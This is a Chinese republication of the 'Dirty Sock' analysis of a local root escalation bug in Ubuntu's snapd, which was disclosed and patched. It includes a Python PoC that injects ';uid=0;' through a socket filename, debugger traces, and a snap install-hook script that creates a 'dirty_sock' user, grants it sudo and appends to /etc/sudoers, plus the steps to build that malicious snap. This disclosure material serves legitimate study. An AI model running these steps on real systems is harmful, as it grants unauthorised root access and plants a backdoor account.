您好,登錄后才能下訂單哦!
如何進行Ubuntu Linux中的特權(quán)提升漏洞Dirty Sock分析,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
由于默認安裝的服務(wù)snapd API中的一個bug,通過默認安裝的Ubuntu Linux被發(fā)現(xiàn)存在特權(quán)提升漏洞,任何本地用戶都可以利用此漏洞直接獲取root權(quán)限。
首先在此提供dirty_sock代碼倉庫中兩個有效的exploit:
dirty_sockv1:基于Ubuntu SSO的詳細信息,使用create-user API創(chuàng)建本地用戶。
dirty_sockv2:側(cè)加載snap,其中包含生成新本地用戶的install hook。
兩者都對默認安裝的Ubuntu有效。大部分測試是在18.10版本完成的,不過舊版本也受改漏洞影響。值得一提的是,snapd團隊對此漏洞回應(yīng)迅速且處理妥善。直接與他們合作也是非常愉快。
snapd提供了附加到本地UNIX_AF socket的REST API,通過查詢與該socket連接的關(guān)聯(lián)UID來實現(xiàn)對API的訪問控制。在for循環(huán)進行字符串解析的過程中,用戶可控的socket數(shù)據(jù)可以覆蓋UID變量,從而允許任何用戶訪問任何API函數(shù)。而通過訪問API,有多種方法可以獲取root權(quán)限,上面鏈接的exploit就展示了兩種可能性。
為了簡化Linux系統(tǒng)上的打包應(yīng)用程序,各種新的競爭標準紛紛出現(xiàn)。作為其中的一個發(fā)行版,Ubuntu Linux的開發(fā)商Canonical也在推廣他們的“Snap”,類似于Windows應(yīng)用程序,snap將所有應(yīng)用程序依賴項轉(zhuǎn)換為單個二進制文件。
Snap生態(tài)包含一個“應(yīng)用商店”,開發(fā)人員可以在其中發(fā)布和維護即時可用的軟件包。
本地的snap和在線商店的通信部分由系統(tǒng)服務(wù)“snapd”處理。此服務(wù)自動安裝在Ubuntu中,并在“root”用戶的上下文中運行。Snapd正在發(fā)展成為Ubuntu操作系統(tǒng)的重要組成部分,特別是在用于云和物聯(lián)網(wǎng)的“Snappy Ubuntu Core”等更精簡的發(fā)行版中。
snapd服務(wù)在位于/lib/systemd/system/snapd.service的unit文件中被描述。
以下是前幾行:
[Unit] Description=Snappy daemon Requires=snapd.socket
順著這個我們找到systemd socket unit文件,位于/lib/systemd/system/snapd.socket,其中提供了一些有趣的信息:
[Socket] ListenStream=/run/snapd.socket ListenStream=/run/snapd-snap.socket SocketMode=0666
Linux通過稱為“AF_UNIX”的socket在同一臺機器上的進程之間進行通信?!癆F_INET”和“AF_INET6”socket則用于通過網(wǎng)絡(luò)連接的進程通信。上面顯示的內(nèi)容告訴我們系統(tǒng)創(chuàng)建了兩個socket文件。'0666'模式則為所有人設(shè)置文件讀寫權(quán)限,只有這樣才可以允許任何進程連接并進行socket通信。
我們可以通過文件系統(tǒng)在查看這些socket文件:
$ ls -aslh /run/snapd* 0 srw-rw-rw- 1 root root 0 Jan 25 03:42 /run/snapd-snap.socket 0 srw-rw-rw- 1 root root 0 Jan 25 03:42 /run/snapd.socket
我們可以通過Linux中的nc工具(只要是BSD風格)連接到像這樣的AF_UNIX socket。以下是一個示例。
$ nc -U /run/snapd.socket HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close 400 Bad Request
碰巧,攻擊者在入侵計算機后要做的第一件事就是查找在root上下文中運行的隱藏服務(wù),HTTP服務(wù)器是利用的主要目標,而它們通常與網(wǎng)絡(luò)套接字有關(guān)。
現(xiàn)在我們知道有一個很好的利用目標 - 一個隱藏可能沒有被廣泛測試的HTTP服務(wù)。另外,我正在開發(fā)一個提權(quán)工具uptux,該工具可識別出此漏洞。
作為一個開源項目,我們利用源代碼繼續(xù)進行靜態(tài)分析。開發(fā)人員提供了有關(guān)此REST API的文檔。
對于利用而言,一個非常需要的API函數(shù)是“POST/v2/create-user”,簡稱為“創(chuàng)建本地用戶”。文檔告訴我們這個調(diào)用需要root權(quán)限才能執(zhí)行。那么守護進程究竟是如何確定訪問API的用戶是否已經(jīng)擁有root權(quán)限?
順著代碼我們找到了這個文件,現(xiàn)在來看這一行:
ucred, err := getUcred(int(f.Fd()), sys.SOL_SOCKET, sys.SO_PEERCRED)
這是調(diào)用golang的標準庫之一,用來收集與套接字連接相關(guān)的用戶信息?;旧?,AF_UNIX socket系列有一個選項,可以在附加數(shù)據(jù)中接收發(fā)送過程的憑據(jù)(請參閱Linux命令行中的man unix)。這是確定訪問API的進程權(quán)限的一種相當可靠的方法。
通過使用名為delve的golang調(diào)試器,我們可以確切地看到上文執(zhí)行“nc”命令時返回的內(nèi)容。下面是在此函數(shù)中設(shè)置斷點時調(diào)試器的輸出,然后使用delve的“print”命令來顯示變量“ucred”當前包含的內(nèi)容:
> github.com/snapcore/snapd/daemon.(*ucrednetListener).Accept() ... 109: ucred, err := getUcred(int(f.Fd()), sys.SOL_SOCKET, sys.SO_PEERCRED) => 110: if err != nil { ... (dlv) print ucred *syscall.Ucred {Pid: 5388, Uid: 1000, Gid: 1000}
不錯。它知道了我的uid為1000,即將拒絕我訪問敏感的API函數(shù)。如果程序在這種狀態(tài)下調(diào)用這些變量,那么結(jié)果就符合預期了,然而事實并非如此。
其實在此函數(shù)中還包含一些額外的處理,其中連接信息與上面發(fā)現(xiàn)的值會一起被添加到一個新對象:
func (wc *ucrednetConn) RemoteAddr() net.Addr { return &ucrednetAddr{wc.Conn.RemoteAddr(), wc.pid, wc.uid, wc.socket} }
這些值被拼接成一個字符串變量:
func (wa *ucrednetAddr) String() string { return fmt.Sprintf("pid=%s;uid=%s;socket=%s;%s", wa.pid, wa.uid, wa.socket, wa.Addr) }
最后經(jīng)由函數(shù)解析,字符串再次被分解為單個變量
func ucrednetGet(remoteAddr string) (pid uint32, uid uint32, socket string, err error) { ... for _, token := range strings.Split(remoteAddr, ";") { var v uint64 ... } else if strings.HasPrefix(token, "uid=") { if v, err = strconv.ParseUint(token[4:], 10, 32); err == nil { uid = uint32(v) } else { break }
最后一個函數(shù)的作用是將字符串用“;”字符拆分,然后查找以“uid =”開頭的任何內(nèi)容。當它遍歷完所有拆分時,第二次出現(xiàn)的“uid =”會覆蓋掉第一個。
所以如果我們能以某種方式將任意文本注入此函數(shù)中...
回到delve調(diào)試器,我們可以查看一下“remoteAddr”字符串,看看在實現(xiàn)正確的HTTP GET請求的“nc”連接中它包含了什么:
請求:
$ nc -U /run/snapd.socket GET / HTTP/1.1 Host: 127.0.0.1
調(diào)試器輸出:
github.com/snapcore/snapd/daemon.ucrednetGet() ... => 41: for _, token := range strings.Split(remoteAddr, ";") { ... (dlv) print remoteAddr "pid=5127;uid=1000;socket=/run/snapd.socket;@"
現(xiàn)在的情況是,我們有一個字符串變量,其中所有變量都拼接在一起,該字符串包含四個元素。第二個元素“uid = 1000”是當前控制權(quán)限的內(nèi)容。
函數(shù)將此字符串通過“;”拆分并迭代,如果字符串包含“uid=”),則可能會覆蓋第一個“uid =”。
第一個(socket=/run/snapd.socket)是用來監(jiān)聽socket的本地“網(wǎng)絡(luò)地址”:是服務(wù)所定義的綁定文件路徑。我們無法修改snapd,也無法讓其使用另一個socket名來運行。但是字符串末尾的“@”符號是什么? 這個是從哪里來的?變量名“remoteAddr”給了一個很好的提示。在調(diào)試器中費了些周折,我們可以看到golang標準庫(net.go)返回本地網(wǎng)絡(luò)地址和遠程地址。你可以在下面的調(diào)試會話中看到輸出為“l(fā)addr”和“raddr”。
> net.(*conn).LocalAddr() /usr/lib/go-1.10/src/net/net.go:210 (PC: 0x77f65f) ... => 210: func (c *conn) LocalAddr() Addr { ... (dlv) print c.fd ... laddr: net.Addr(*net.UnixAddr) *{ Name: "/run/snapd.socket", Net: "unix",}, raddr: net.Addr(*net.UnixAddr) *{Name: "@", Net: "unix"},}
遠程地址會被設(shè)置為神秘的@符號。進一步閱讀man unix幫助信息后,我們了解到這與“抽象命名空間”有關(guān),用來綁定獨立于文件系統(tǒng)的socket。命名空間中的socket開頭為null-byte,該字符在終端中通常會顯示為@。
我們可以創(chuàng)建綁定到我們控制的文件名的socket,而不依賴netcat利用的抽象套接字命名空間。這應(yīng)該允許我們影響想要修改的字符串變量的最后部分,也就是上文的“raddr”變量。
使用一些python代碼,我們可以創(chuàng)建一個包含“;uid=0;”字符串的文件名,通過socket綁定該文件,來啟動與snapd API的連接。
以下為PoC代碼片段:
## 設(shè)置包含payload的socket名稱 sockfile = "/tmp/sock;uid=0;" ## 綁定socket client_sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) client_sock.bind(sockfile) ## 連接到snap守護進程 client_sock.connect('/run/snapd.socket')
現(xiàn)在再看一下remoteAddr變量,觀察調(diào)試器中發(fā)生的事情:
> github.com/snapcore/snapd/daemon.ucrednetGet() ... => 41: for _, token := range strings.Split(remoteAddr, ";") { ... (dlv) print remoteAddr "pid=5275;uid=1000;socket=/run/snapd.socket;/tmp/sock;uid=0;"
我們注入了一個假的uid 0,即root用戶,它會在最后一次迭代中覆蓋實際的uid。這樣我們就能夠訪問API的受保護功能。
在調(diào)試器中繼續(xù)觀察來驗證這一點,并看到uid被設(shè)置為0:
> github.com/snapcore/snapd/daemon.ucrednetGet() ... => 65: return pid, uid, socket, err ... (dlv) print uid 0
dirty_sockv1利用的是“POST/v2/create-user”這個API函數(shù)。要利用該漏洞,我們只需在Ubuntu SSO上創(chuàng)建一個賬戶,然后將SSH公鑰上傳到賬戶目錄中,接下來使用如下命令來利用漏洞(使用注冊的郵箱和關(guān)聯(lián)的SSH私鑰):
$ dirty_sockv1.py -u 你的@郵箱.com -k id_rsa
這種方法是非??煽康模梢园踩珗?zhí)行。你可以止步這里并自己嘗試獲得root權(quán)限。
還在看? 好吧,對互聯(lián)網(wǎng)連接和SSH服務(wù)的要求一直在變,我想看看我是否可以在更受限制的環(huán)境中利用。這導致我們有了版本二。
dirty_sockv2使用了“POST/v2/snaps” API來側(cè)加載snap,該snap中包含一個bash腳本,可以添加一個本地用戶。這個版本適用于沒有運行SSH服務(wù)的系統(tǒng),也適用于沒有互聯(lián)網(wǎng)連接的新版Ubuntu。然而,側(cè)加載需要一些核心snap依賴,如果不存在這些依賴,可能會觸發(fā)snapd服務(wù)的更新操作。這個場景下,我發(fā)現(xiàn)這個版本仍然有效,但只能使用一次。
snap本身運行在沙箱環(huán)境中,并且數(shù)字簽名需要匹配主機已信任的公鑰。然而我們可以通過處于開發(fā)模式(“devmode”)的snap來降低這些限制條件,這樣snap就能像其他應(yīng)用那樣訪問主機操作系統(tǒng)。
此外snap引入了“hooks”機制,其中“install hook”會在snap安裝時運行,并且“install hook”可以是一個簡單的shell腳本。如果snap配置為“devmode”,那么這個hook會在root上下文中運行。
我創(chuàng)建了一個簡單的snap,該snap沒有其他功能,只是會在安裝階段執(zhí)行的一個bash腳本。
該腳本會運行如下命令:
useradd dirty_sock -m -p '$6$sWZcW1t25pfUdBuX$jWjEZQF2zFSfyGy9LbvG3vFzzHRjXfBYK0SOGfMD1sLyaS97AwnJUs7gDCY.fg19Ns3JwRdDhOcEmDpBVlF9m.' -s /bin/bash usermod -aG sudo dirty_sock echo "dirty_sock ALL=(ALL:ALL) ALL" >> /etc/sudoers
上面加密字符串只是使用Python crypt.crypt()函數(shù)處理“dirty_sock”所創(chuàng)建的文本。
以下命令顯示了詳細創(chuàng)建此快照的過程,這都是在開發(fā)機器上完成的,而不是目標機器。snap創(chuàng)建完畢后,我們可以將其轉(zhuǎn)換為base64文本,以便包含到完整的python利用代碼中。
## 安裝必要工具 sudo apt install snapcraft -y ## 創(chuàng)建空目錄 cd /tmp mkdir dirty_snap cd dirty_snap ## 初始化目錄作為snap項目 snapcraft init ## 設(shè)置安裝hook mkdir snap/hooks touch snap/hooks/install chmod a+x snap/hooks/install ## 寫下我們想要以root執(zhí)行的腳本 cat > snap/hooks/install << "EOF" #!/bin/bash useradd dirty_sock -m -p '$6$sWZcW1t25pfUdBuX$jWjEZQF2zFSfyGy9LbvG3vFzzHRjXfBYK0SOGfMD1sLyaS97AwnJUs7gDCY.fg19Ns3JwRdDhOcEmDpBVlF9m.' -s /bin/bash usermod -aG sudo dirty_sock echo "dirty_sock ALL=(ALL:ALL) ALL" >> /etc/sudoers EOF ## 配置snap yaml文件 cat > snap/snapcraft.yaml << "EOF" name: dirty-sock version: '0.1' summary: Empty snap, used for exploit description: | See https://github.com/initstring/dirty_sock grade: devel confinement: devmode parts: my-part: plugin: nil EOF ## 搭建snap snapcraft
一旦有了snap文件,我們就可以通過bash將它轉(zhuǎn)換為base64,如下所示:
$ base64 <snap-filename.snap>
base64編碼的文本可以放在dirty_sock.py漏洞利用代碼開頭的全局變量“TROJAN_SNAP”中。
漏洞利用代碼本身是用python中寫的,可以執(zhí)行以下操作:
1.創(chuàng)建一個文件,文件名包含";uid=0;"
2.將socket綁定到該文件
3.連接到snap API
4.刪除(上次留下的)snap
5.(在install hook將運行時)安裝snap
6.刪除snap
7.刪除臨時socket文件
8.提示祝你利用成功
打上補丁,snapd團隊在披露后迅速修復了漏洞。
看完上述內(nèi)容是否對您有幫助呢?如果還想對相關(guān)知識有進一步的了解或閱讀更多相關(guān)文章,請關(guān)注億速云行業(yè)資訊頻道,感謝您對億速云的支持。
免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。